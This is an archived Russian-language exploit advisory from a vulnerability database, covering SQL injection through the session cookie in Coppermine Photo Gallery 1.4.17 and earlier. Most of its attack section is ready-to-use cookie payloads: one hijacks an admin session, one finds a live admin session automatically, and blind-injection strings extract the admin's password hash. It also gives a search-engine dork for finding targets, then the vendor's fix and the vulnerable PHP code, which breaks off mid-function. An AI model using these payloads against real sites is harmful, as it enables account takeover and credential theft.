Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19732
HistoryApr 25, 2008 - 12:00 a.m.

Coppermine <=1.4.17 SQL-inj Session Hijack Exploit

2008-04-2500:00:00
vulners.com
36

Coppermine <=1.4.17 SQL-inj Session Hijack Exploit

1) Дата:
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51882.0.html&#41;

2) Продукт: Coppermine Photo Gallery <=1.4.17

3) Уязвимость: SQL-инъекция в $_COOKIE[$this->client_id] в [/bridge/coppermine.inc.php]
Значение извлекается из куков без проверок.

4) Автор: unknown

6) Опасность: 4/10

5) Тип: удалённая

7) Описание:

Уязвимость позволяет присвоить валидную сессию админа или получить хеш пароля админа.

[1] Session hijacking
В случае существования валидной сессии (время жизни сессии 1 час) - атакующий повысит свои права до админа.

Эксплоит:

по конкретному id админа.пользователя
Cookie: [$this->client_id]=blah") or user_id=[admin_id]/;
например:
60e8773ee5c8bcc63dac366e197055a4=hack!") or user_id=1/
;

автоопределение админской сессии
COOKIE: Cookie: [$this->client_id]=Antich@t") union select cpg14x_sessions.user_id from cpg14x_sessions,cpg14x_users where cpg14x_users.user_group=1 AND cpg14x_users.user_id=cpg14x_sessions.user_id limit 0,1/*;

[2] Хеш: перебор через more1row
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=1,(select 2 union select 3),2)/*
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=254,(select 2 union select 3),2)/*

9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

http://forum.coppermine-gallery.net/index.php/topic,51882.0.html

Разработчик пофиксил проблему, заменив md5-sql на md5-php:

было
PHP код:
where session_id = md5(" ' . $session_id . ' "); ;

стало
PHP код:
where session_id = ' " . md5($session_id) . " ' ";

Сам уязвимый код:

PHP код:
function session_extraction()
{
// Get the session cookie value
$sessioncookie = $_COOKIE[$this->client_id];

            // Create the session id by concat&#40;session_cookie_value, client_id&#41; 
            $session_id = $sessioncookie.$this-&gt;client_id; 

            if &#40;$sessioncookie&#41; { 
     
                // Check for valid session 
                $sql =  &#39;select user_id from &#39;.$this-&gt;sessionstable.&#39; where session_id=md5&#40;&quot;&#39;.$session_id.&#39;&quot;&#41;;&#39;;  

р